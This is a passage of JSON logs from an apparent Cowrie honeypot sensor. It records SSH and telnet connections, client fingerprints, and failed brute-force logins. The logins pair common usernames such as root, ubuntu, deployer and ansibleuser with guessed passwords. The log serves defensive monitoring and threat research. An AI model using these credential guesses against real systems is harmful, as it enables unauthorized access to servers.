sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:21.060562Z","src_ip":"2.57.121.25","session":"9dd491a4956f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25111983","message":"login attempt [user/25111983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:21.533561Z","src_ip":"2.57.121.25","session":"9dd491a4956f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:22.020139Z","src_ip":"42.200.66.164","session":"a3ff85d2436f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25091978","message":"login attempt [user/25091978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:22.637610Z","src_ip":"2.57.121.25","session":"9dd491a4956f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.805779695510864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:23.483065Z","src_ip":"67.23.227.170","session":"2e132f60c9c1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"25091976","message":"login attempt [user/25091976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:23.741426Z","src_ip":"2.57.121.25","session":"9dd491a4956f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25081979","message":"login attempt [user/25081979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:24.845156Z","src_ip":"2.57.121.25","session":"9dd491a4956f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25071982","message":"login attempt [user/25071982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:25.960976Z","src_ip":"2.57.121.25","session":"9dd491a4956f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:27.066709Z","src_ip":"2.57.121.25","session":"9dd491a4956f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.159.55.141","src_port":59284,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdddab74bb53","protocol":"telnet","message":"New connection: 38.159.55.141:59284 (159.203.135.109:23) [session: fdddab74bb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:27.852016Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":56134,"dst_ip":"10.17.0.5","dst_port":22,"session":"405578f7bd96","protocol":"ssh","message":"New connection: 216.155.93.75:56134 (10.17.0.5:22) [session: 405578f7bd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:31.415862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:31.421259Z","src_ip":"216.155.93.75","session":"405578f7bd96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:31.575345Z","src_ip":"216.155.93.75","session":"405578f7bd96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd!@#123","message":"login attempt [root/abcd!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:32.218130Z","src_ip":"216.155.93.75","session":"405578f7bd96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:33.374641Z","src_ip":"216.155.93.75","session":"405578f7bd96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":33528,"dst_ip":"159.203.135.109","dst_port":23,"session":"8162b62cfc83","protocol":"telnet","message":"New connection: 67.23.227.170:33528 (159.203.135.109:23) [session: 8162b62cfc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:39.895895Z"}
{"eventid":"cowrie.session.closed","duration":12.650909900665283,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:40.502778Z","src_ip":"38.159.55.141","session":"fdddab74bb53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.31922125816345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:54.827764Z","src_ip":"64.227.101.30","session":"89605653e1a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":38856,"dst_ip":"159.203.135.109","dst_port":22,"session":"1081b6cd5c5a","protocol":"ssh","message":"New connection: 43.243.142.42:38856 (159.203.135.109:22) [session: 1081b6cd5c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:03.232101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:03.239524Z","src_ip":"43.243.142.42","session":"1081b6cd5c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:03.481131Z","src_ip":"43.243.142.42","session":"1081b6cd5c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1029384756","message":"login attempt [ubuntu/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:04.473963Z","src_ip":"43.243.142.42","session":"1081b6cd5c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:05.728941Z","src_ip":"43.243.142.42","session":"1081b6cd5c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60648,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ffcef85220","protocol":"telnet","message":"New connection: 68.183.198.12:60648 (159.203.135.109:23) [session: 08ffcef85220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:07.126486Z"}
{"eventid":"cowrie.session.closed","duration":30.972840309143066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:10.868636Z","src_ip":"67.23.227.170","session":"8162b62cfc83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":9959,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a9f8878147","protocol":"ssh","message":"New connection: 49.247.36.49:9959 (10.17.0.5:22) [session: d2a9f8878147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:13.898236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:13.904084Z","src_ip":"49.247.36.49","session":"d2a9f8878147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:14.109833Z","src_ip":"49.247.36.49","session":"d2a9f8878147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demodemo","message":"login attempt [demo/demodemo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:14.965554Z","src_ip":"49.247.36.49","session":"d2a9f8878147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:16.176285Z","src_ip":"49.247.36.49","session":"d2a9f8878147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":60628,"dst_ip":"159.203.135.109","dst_port":22,"session":"02461256d519","protocol":"ssh","message":"New connection: 42.200.66.164:60628 (159.203.135.109:22) [session: 02461256d519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:24.111674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:24.117051Z","src_ip":"42.200.66.164","session":"02461256d519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:24.386790Z","src_ip":"42.200.66.164","session":"02461256d519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1q2w3e4r5t","message":"login attempt [deployer/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:25.497192Z","src_ip":"42.200.66.164","session":"02461256d519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:26.773764Z","src_ip":"42.200.66.164","session":"02461256d519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":36372,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6da32daacc6","protocol":"ssh","message":"New connection: 216.155.93.75:36372 (10.17.0.5:22) [session: b6da32daacc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:38.673994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:38.679008Z","src_ip":"216.155.93.75","session":"b6da32daacc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:38.835795Z","src_ip":"216.155.93.75","session":"b6da32daacc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wl123456789","message":"login attempt [root/Wl123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:39.487383Z","src_ip":"216.155.93.75","session":"b6da32daacc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:40.651223Z","src_ip":"216.155.93.75","session":"b6da32daacc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.31608033180237,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:47.442445Z","src_ip":"68.183.198.12","session":"08ffcef85220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":41282,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0d8334c7948","protocol":"telnet","message":"New connection: 67.23.227.170:41282 (159.203.135.109:23) [session: d0d8334c7948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:52.045400Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":41634,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ca94852fe3b","protocol":"telnet","message":"New connection: 67.23.227.170:41634 (159.203.135.109:23) [session: 9ca94852fe3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:11:55.063885Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":39658,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff909730ba43","protocol":"ssh","message":"New connection: 43.243.142.42:39658 (159.203.135.109:22) [session: ff909730ba43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:01.819991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:01.825380Z","src_ip":"43.243.142.42","session":"ff909730ba43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:02.055426Z","src_ip":"43.243.142.42","session":"ff909730ba43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansibleuser","password":"ansible","message":"login attempt [ansibleuser/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:03.005534Z","src_ip":"43.243.142.42","session":"ff909730ba43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:04.237726Z","src_ip":"43.243.142.42","session":"ff909730ba43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39686,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e9b2b5540a","protocol":"telnet","message":"New connection: 68.183.198.12:39686 (159.203.135.109:23) [session: 67e9b2b5540a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:08.272872Z"}
{"eventid":"cowrie.session.closed","duration":1.1806285381317139,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:09.453381Z","src_ip":"68.183.198.12","session":"67e9b2b5540a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":41602,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d3cbc5947cf","protocol":"telnet","message":"New connection: 68.183.198.12:41602 (159.203.135.109:23) [session: 1d3cbc5947cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:15.184487Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":57085,"dst_ip":"10.17.0.5","dst_port":22,"session":"c34d5ebb3990","protocol":"ssh","message":"New connection: 49.247.36.49:57085 (10.17.0.5:22) [session: c34d5ebb3990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:22.056869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:22.061608Z","src_ip":"49.247.36.49","session":"c34d5ebb3990","protocol":"ssh"}
